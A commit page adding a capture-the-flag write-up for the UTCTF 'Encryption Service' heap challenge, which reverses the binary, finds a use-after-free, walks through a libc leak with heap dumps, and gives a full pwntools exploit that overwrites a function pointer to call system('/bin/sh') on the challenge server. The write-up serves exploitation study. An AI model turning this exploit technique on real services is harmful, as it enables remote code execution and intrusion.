Skip to content

Commit e7d60fd

Browse files
committed
added encryption service
1 parent 3669aa4 commit e7d60fd

File tree

18 files changed

+688
-1
lines changed

18 files changed

+688
-1
lines changed
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.

2018/P.W.N. CTF/pwn/echochamber/README.md

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,6 @@ from pwn import *
4040

4141
def main():
4242
libc = ELF('./libc.so.6')
43-
# pc = process(['./ld-linux.so.2', './echo_chamber'], env={'LD_PRELOAD': './libc.so.6'})
4443

4544
pc = remote('echochamber.uni.hctf.fun', 13374)
4645

Lines changed: 353 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,353 @@
1+
# UTCTF
2+
3+
## Encryption Service
4+
5+
## Information
6+
7+
**Category** | **Points** | **Solves** | **Writeup Author**
8+
--- | --- | --- | ---
9+
PWN | 1200 | 11 | [merrychap](https://github.com/merrychap)
10+
11+
**Description:**
12+
13+
> nc stack.overflow.fail 9004
14+
15+
**Files:**
16+
17+
[pwnable](./pwnable)
18+
19+
[libc](./libc-2.23.so)
20+
21+
## General information
22+
23+
<p align="center">
24+
<img src="screens/desc.png">
25+
</p>
26+
27+
Very charming description, the legend is unbelievable. But who needs normal description, when there is a binary? :D
28+
29+
Alright, let's run it and see what this thing does...
30+
31+
<p align="center">
32+
<img src="screens/start_service.png">
33+
</p>
34+
35+
Some kind of an encryption service where we can create messages, encrypt them and produce some other actions. We need to explore the functionality a little bit deeper. I will cover each function with a screenshot and some comments. But of course, you can explore it on your own by reversing the binary or just opening [pseudocode](./pseudocode.c) that I have done for you! :)
36+
37+
## Reversing the binary
38+
39+
### main
40+
41+
<p align="center">
42+
<img src="screens/main.png">
43+
</p>
44+
45+
Everything is straightforward: we're asked for some `user_id` (which will be used later in `xor_encrypt`), then we enter while-true loop where can produce actions. Absolutely clear.
46+
47+
### encrypt_string
48+
49+
<p align="center">
50+
<img src="screens/encrypt_string.png">
51+
</p>
52+
53+
In the beginning, we're asked to enter an encryption option: either OTP or XOR. I will not cover their functionality, you can check it in the [pseudocode](./pseudocode.c). After this, the program searches for a free `info` chunk inside of `create_info` function, if it wasn't found, then it calls `malloc` in order to create a new chunk for storing info about this entity. The structure looks as follows:
54+
55+
```c
56+
struct info_t {
57+
char *msg_ptr; /* pointer to the message chunk */
58+
char *enc_msg; /* pointer to the encrypted message chunk */
59+
const char (*encrypt_func)(char * msg, char *key); /* pointer to the encryption function */
60+
int (*print_func)(void); /* pointer to the print function */
61+
int is_free; /* is this chunk available to reuse */
62+
int msg_len; /* length of the message */
63+
};
64+
```
65+
66+
Now, we need to notice one interesting case. If the program calls `malloc` for new info structure and we enter incorrect encryption option (neither 1 nor 2), then it returns from the function. But chunk is allocated. We will use it later, so keep this in mind.
67+
68+
When encryption option is chosen, we need to enter message size and the message itself, then program calls encryption function and encrypts entered message.
69+
70+
### remove_encrypted_string
71+
72+
<p align="center">
73+
<img src="screens/remove_encrypted_string.png">
74+
</p>
75+
76+
Just enter an index of the message to remove and it's removed, i.e. `is_free` flag is set and `msg_ptr` and `enc_msg` are freed. But the program doesn't clear fields of the structure itself. It can be useful.
77+
78+
### view_messages
79+
80+
<p align="center">
81+
<img src="screens/view_messages.png">
82+
</p>
83+
84+
Iterates through messages, checks if this `info` structure is presented in the information array, then checks if this info struct isn't free, i.e. is taken for some message and prints the data. Okay, looks legit.
85+
86+
### edit_encrypted_message
87+
88+
<p align="center">
89+
<img src="screens/edit_encrypted_message.png">
90+
</p>
91+
92+
We're asked to enter the index of the message we want to edit, then it takes the corresponding info structure and checks if this struct is valid. And this place is where the main vuln is presented. The program doesn't check `is_free` flag, so we can edit already freed `info` struct. Hence, this task is about UAF vulnerability
93+
94+
95+
## Leak a libc address
96+
97+
Let's call `encrypt_message` with message size equal to 0x100. This will create 3 chunks on a heap:
98+
99+
- the first chunk is `info` structure
100+
101+
- the second chunk is the message (size is 0x110)
102+
103+
- the third chunk is the encrypted message (size is 0x110)
104+
105+
After this, we need to create another one message, here we don't care about sizes. Heap layout is the following:
106+
107+
```
108+
0x7fc1b98ce000: 0x0000000000000000 0x0000000000000031 <-- 1 info struct
109+
0x7fc1b98ce010: 0x00007fc1b98ce040 0x00007fc1b98ce150
110+
0x7fc1b98ce020: 0x000000000040093c 0x0000000000400887
111+
0x7fc1b98ce030: 0x0000010100000000 0x0000000000000111 <-- msg_ptr of the 1 info struct
112+
0x7fc1b98ce040: 0x0000000a41414141 0x0000000000000000
113+
0x7fc1b98ce050: 0x0000000000000000 0x0000000000000000
114+
0x7fc1b98ce060: 0x0000000000000000 0x0000000000000000
115+
0x7fc1b98ce070: 0x0000000000000000 0x0000000000000000
116+
0x7fc1b98ce080: 0x0000000000000000 0x0000000000000000
117+
0x7fc1b98ce090: 0x0000000000000000 0x0000000000000000
118+
0x7fc1b98ce0a0: 0x0000000000000000 0x0000000000000000
119+
0x7fc1b98ce0b0: 0x0000000000000000 0x0000000000000000
120+
0x7fc1b98ce0c0: 0x0000000000000000 0x0000000000000000
121+
0x7fc1b98ce0d0: 0x0000000000000000 0x0000000000000000
122+
0x7fc1b98ce0e0: 0x0000000000000000 0x0000000000000000
123+
0x7fc1b98ce0f0: 0x0000000000000000 0x0000000000000000
124+
0x7fc1b98ce100: 0x0000000000000000 0x0000000000000000
125+
0x7fc1b98ce110: 0x0000000000000000 0x0000000000000000
126+
0x7fc1b98ce120: 0x0000000000000000 0x0000000000000000
127+
0x7fc1b98ce130: 0x0000000000000000 0x0000000000000000
128+
0x7fc1b98ce140: 0x0000000000000000 0x0000000000000111 <-- enc_msg of the 1 info struct
129+
0x7fc1b98ce150: 0x0000000000000000 0x0000000000000000
130+
0x7fc1b98ce160: 0x0000000000000000 0x0000000000000000
131+
0x7fc1b98ce170: 0x0000000000000000 0x0000000000000000
132+
0x7fc1b98ce180: 0x0000000000000000 0x0000000000000000
133+
0x7fc1b98ce190: 0x0000000000000000 0x0000000000000000
134+
0x7fc1b98ce1a0: 0x0000000000000000 0x0000000000000000
135+
0x7fc1b98ce1b0: 0x0000000000000000 0x0000000000000000
136+
0x7fc1b98ce1c0: 0x0000000000000000 0x0000000000000000
137+
0x7fc1b98ce1d0: 0x0000000000000000 0x0000000000000000
138+
0x7fc1b98ce1e0: 0x0000000000000000 0x0000000000000000
139+
0x7fc1b98ce1f0: 0x0000000000000000 0x0000000000000000
140+
0x7fc1b98ce200: 0x0000000000000000 0x0000000000000000
141+
0x7fc1b98ce210: 0x0000000000000000 0x0000000000000000
142+
0x7fc1b98ce220: 0x0000000000000000 0x0000000000000000
143+
0x7fc1b98ce230: 0x0000000000000000 0x0000000000000000
144+
0x7fc1b98ce240: 0x0000000000000000 0x0000000000000000
145+
0x7fc1b98ce250: 0x0000000000000000 0x0000000000000031 <-- 2 info struct
146+
0x7fc1b98ce260: 0x00007fc1b98ce290 0x00007fc1b98ce300
147+
0x7fc1b98ce270: 0x000000000040093c 0x0000000000400887
148+
```
149+
150+
151+
And then let's free the first `info` struct. Its `msg_ptr` and `enc_msg` will be placed in the unsorted bin and they will be coalesced. So, heap layout will be like this:
152+
153+
```
154+
0x7fc1b98ce000: 0x0000000000000000 0x0000000000000031 <-- 1 info struct
155+
0x7fc1b98ce010: 0x00007fc1b98ce040 0x00007fc1b98ce150
156+
0x7fc1b98ce020: 0x000000000040093c 0x0000000000400887
157+
0x7fc1b98ce030: 0x0000010100000001 0x0000000000000221 <-- coalesced msg_ptr and enc_msg
158+
0x7fc1b98ce040: 0x00007fc1b9430b78 0x00007fc1b9430b78
159+
0x7fc1b98ce050: 0x0000000000000000 0x0000000000000000
160+
0x7fc1b98ce060: 0x0000000000000000 0x0000000000000000
161+
0x7fc1b98ce070: 0x0000000000000000 0x0000000000000000
162+
0x7fc1b98ce080: 0x0000000000000000 0x0000000000000000
163+
0x7fc1b98ce090: 0x0000000000000000 0x0000000000000000
164+
0x7fc1b98ce0a0: 0x0000000000000000 0x0000000000000000
165+
0x7fc1b98ce0b0: 0x0000000000000000 0x0000000000000000
166+
0x7fc1b98ce0c0: 0x0000000000000000 0x0000000000000000
167+
0x7fc1b98ce0d0: 0x0000000000000000 0x0000000000000000
168+
0x7fc1b98ce0e0: 0x0000000000000000 0x0000000000000000
169+
0x7fc1b98ce0f0: 0x0000000000000000 0x0000000000000000
170+
0x7fc1b98ce100: 0x0000000000000000 0x0000000000000000
171+
0x7fc1b98ce110: 0x0000000000000000 0x0000000000000000
172+
0x7fc1b98ce120: 0x0000000000000000 0x0000000000000000
173+
0x7fc1b98ce130: 0x0000000000000000 0x0000000000000000
174+
0x7fc1b98ce140: 0x0000000000000110 0x0000000000000110
175+
0x7fc1b98ce150: 0x0000000000000000 0x0000000000000000
176+
0x7fc1b98ce160: 0x0000000000000000 0x0000000000000000
177+
0x7fc1b98ce170: 0x0000000000000000 0x0000000000000000
178+
0x7fc1b98ce180: 0x0000000000000000 0x0000000000000000
179+
0x7fc1b98ce190: 0x0000000000000000 0x0000000000000000
180+
0x7fc1b98ce1a0: 0x0000000000000000 0x0000000000000000
181+
0x7fc1b98ce1b0: 0x0000000000000000 0x0000000000000000
182+
0x7fc1b98ce1c0: 0x0000000000000000 0x0000000000000000
183+
0x7fc1b98ce1d0: 0x0000000000000000 0x0000000000000000
184+
0x7fc1b98ce1e0: 0x0000000000000000 0x0000000000000000
185+
0x7fc1b98ce1f0: 0x0000000000000000 0x0000000000000000
186+
0x7fc1b98ce200: 0x0000000000000000 0x0000000000000000
187+
0x7fc1b98ce210: 0x0000000000000000 0x0000000000000000
188+
0x7fc1b98ce220: 0x0000000000000000 0x0000000000000000
189+
0x7fc1b98ce230: 0x0000000000000000 0x0000000000000000
190+
0x7fc1b98ce240: 0x0000000000000000 0x0000000000000000
191+
0x7fc1b98ce250: 0x0000000000000220 0x0000000000000030 <-- 2 info struct
192+
0x7fc1b98ce260: 0x00007fc1b98ce290 0x00007fc1b98ce300
193+
0x7fc1b98ce270: 0x000000000040093c 0x0000000000400887
194+
```
195+
196+
`fd` and `bk` of an unsorted bin chunk point to someplace in main arena which is part of libc. If we leak these addresses, then we leak libc address itself (offsets are static). But what's more interesting, if we tear unsorted bin chunk in order to serve `malloc` using this unsorted bin chunk, main arena addresses will be placed in the newly allocated chunk in `fd` and `bk`. So, if we allocate a new message with size equal to 0, then we leak libc address. Look at the heap layout after calling `encrypt_message` with message size equal to 0.
197+
198+
```
199+
0x7fc1b98ce000: 0x0000000000000000 0x0000000000000031 <-- 1 info struct
200+
0x7fc1b98ce010: 0x00007fc1b98ce040 0x00007fc1b98ce060
201+
0x7fc1b98ce020: 0x000000000040093c 0x0000000000400887
202+
0x7fc1b98ce030: 0x0000000100000000 0x0000000000000021 <-- new msg_ptr of the 1 info struct
203+
0x7fc1b98ce040: 0x00007fc1b9430d00 0x00007fc1b9430d88
204+
0x7fc1b98ce050: 0x0000000000000000 0x0000000000000021 <-- new enc_msg of the 1 info struct
205+
0x7fc1b98ce060: 0x00000fb1c9337d70 0x00007fc1b9430b78
206+
0x7fc1b98ce070: 0x0000000000000000 0x00000000000001e1 <-- remaining of the unsorted bin chunk
207+
0x7fc1b98ce080: 0x00007fc1b9430b78 0x00007fc1b9430b78
208+
0x7fc1b98ce090: 0x0000000000000000 0x0000000000000000
209+
0x7fc1b98ce0a0: 0x0000000000000000 0x0000000000000000
210+
0x7fc1b98ce0b0: 0x0000000000000000 0x0000000000000000
211+
0x7fc1b98ce0c0: 0x0000000000000000 0x0000000000000000
212+
0x7fc1b98ce0d0: 0x0000000000000000 0x0000000000000000
213+
0x7fc1b98ce0e0: 0x0000000000000000 0x0000000000000000
214+
0x7fc1b98ce0f0: 0x0000000000000000 0x0000000000000000
215+
0x7fc1b98ce100: 0x0000000000000000 0x0000000000000000
216+
0x7fc1b98ce110: 0x0000000000000000 0x0000000000000000
217+
0x7fc1b98ce120: 0x0000000000000000 0x0000000000000000
218+
0x7fc1b98ce130: 0x0000000000000000 0x0000000000000000
219+
0x7fc1b98ce140: 0x0000000000000110 0x0000000000000110
220+
0x7fc1b98ce150: 0x0000000000000000 0x0000000000000000
221+
0x7fc1b98ce160: 0x0000000000000000 0x0000000000000000
222+
0x7fc1b98ce170: 0x0000000000000000 0x0000000000000000
223+
0x7fc1b98ce180: 0x0000000000000000 0x0000000000000000
224+
0x7fc1b98ce190: 0x0000000000000000 0x0000000000000000
225+
0x7fc1b98ce1a0: 0x0000000000000000 0x0000000000000000
226+
0x7fc1b98ce1b0: 0x0000000000000000 0x0000000000000000
227+
0x7fc1b98ce1c0: 0x0000000000000000 0x0000000000000000
228+
0x7fc1b98ce1d0: 0x0000000000000000 0x0000000000000000
229+
0x7fc1b98ce1e0: 0x0000000000000000 0x0000000000000000
230+
0x7fc1b98ce1f0: 0x0000000000000000 0x0000000000000000
231+
0x7fc1b98ce200: 0x0000000000000000 0x0000000000000000
232+
0x7fc1b98ce210: 0x0000000000000000 0x0000000000000000
233+
0x7fc1b98ce220: 0x0000000000000000 0x0000000000000000
234+
0x7fc1b98ce230: 0x0000000000000000 0x0000000000000000
235+
0x7fc1b98ce240: 0x0000000000000000 0x0000000000000000
236+
0x7fc1b98ce250: 0x00000000000001e0 0x0000000000000030 <-- 2 info struct
237+
0x7fc1b98ce260: 0x00007fc1b98ce290 0x00007fc1b98ce300
238+
0x7fc1b98ce270: 0x000000000040093c 0x0000000000400887
239+
```
240+
241+
Now we can call `view_messages` and leak libc address. Okay, this is nice, now we need to think about the exploitation knowing the libc address.
242+
243+
## Getting the shell
244+
245+
After we get the base address of libc, then we want to call `system("/bin/sh")`, but how we can do this? Well, this is simple. Do you remember we have UAF vulnerability? Now we will use this :)
246+
247+
Let's call `encrypt_message` with the message size equal to 0x20. It will create `msg_ptr` and `enc_msg` chunks with size equals 0x30. And this is the size of `info` struct chunk. Now we will produce interesting actions:
248+
249+
- Remove this message calling `remove_encrypted_string`. Now we have two empty 0x30 chunks.
250+
251+
- Create a new chunk with any message size. `info` struct chunk now in the `enc_msg` chunk that was freed in the previous step.
252+
253+
- Now we will edit previous `info` struct chunk and this will change the new `info` chunk because this is `enc_msg` of the previous one.
254+
255+
Almost done, right? :D Just change `encrypt_function` with the address of `system` and `msg_ptr` with `/bin/sh` address. Then call `edit_encrypted_message` and it will spawn the shell!
256+
257+
### Exploit
258+
259+
[The final exploit](./exploit.py) I came up with is the next:
260+
261+
```python
262+
from pwn import *
263+
264+
265+
def bxor(s, b):
266+
res = ''
267+
for x in s:
268+
res += chr(ord(x) ^ b)
269+
return res
270+
271+
272+
def sxor(a, b):
273+
res = ''
274+
for x, y in zip(a, b):
275+
res += chr(ord(x) ^ ord(y))
276+
return res
277+
278+
279+
def encrypt(pc, option, size, msg):
280+
pc.sendlineafter('>', '1')
281+
pc.sendlineafter('Choose an encryption option:', str(option))
282+
if option not in [1, 2]:
283+
return
284+
pc.sendlineafter('How long is your message?', str(size))
285+
if size == 0:
286+
return
287+
pc.sendlineafter('Please enter your message: ', msg)
288+
289+
290+
def remove(pc, index):
291+
pc.sendlineafter('>', '2')
292+
pc.sendlineafter('Enter the index of the message that you want to remove: ', str(index))
293+
294+
295+
def view(pc):
296+
pc.sendlineafter('>', '3')
297+
298+
299+
def edit(pc, index, new_msg):
300+
pc.sendlineafter('>', '4')
301+
pc.sendlineafter('Enter the index of the message that you wish to edit', str(index))
302+
pc.sendlineafter('Enter the new message', new_msg)
303+
304+
305+
def main():
306+
libc = ELF('./libc-2.23.so')
307+
308+
pc = remote('stack.overflow.fail', 9004)
309+
310+
pc.sendlineafter('What is your user id?', str(0x70))
311+
312+
encrypt(pc, 2, 0x100, 'AAAA')
313+
encrypt(pc, 2, 0x60, 'BBBB')
314+
315+
remove(pc, 0)
316+
317+
# putting libc addresses into msg_ptr
318+
encrypt(pc, 2, 0, '')
319+
320+
view(pc)
321+
for _ in range(11):
322+
pc.recvline()
323+
main_arena = u64(bxor(pc.recvline()[12:-1], 0x70).ljust(8, '\x00'))
324+
libc_base = main_arena - 0x3c4d00
325+
binsh = libc_base + next(libc.search('/bin/sh'))
326+
system = libc_base + libc.symbols['system']
327+
log.success('libc base @ ' + hex(libc_base))
328+
329+
encrypt(pc, 2, 0x20, 'A' * 0x20)
330+
remove(pc, 2)
331+
332+
# filling up other info structs which will
333+
# be allocated tearing the unsorted bin chunk
334+
encrypt(pc, 3, 0, '')
335+
encrypt(pc, 3, 0, '')
336+
encrypt(pc, 3, 0, '')
337+
338+
# write desired info into 4th chunk
339+
edit(pc, 2, p64(binsh) + p64(0) + p64(system) + p64(0))
340+
341+
# trigger system("/bin/sh")
342+
edit(pc, 4, '')
343+
344+
pc.interactive()
345+
346+
347+
if __name__ == '__main__':
348+
main()
349+
```
350+
351+
This was a typical heap challenge and I would say this is a medium-level task, but still interesting, thanks admins!
352+
353+
> Flag: utflag{pat1lw1llyw0nkalikesc0de}

0 commit comments

Comments
 (0)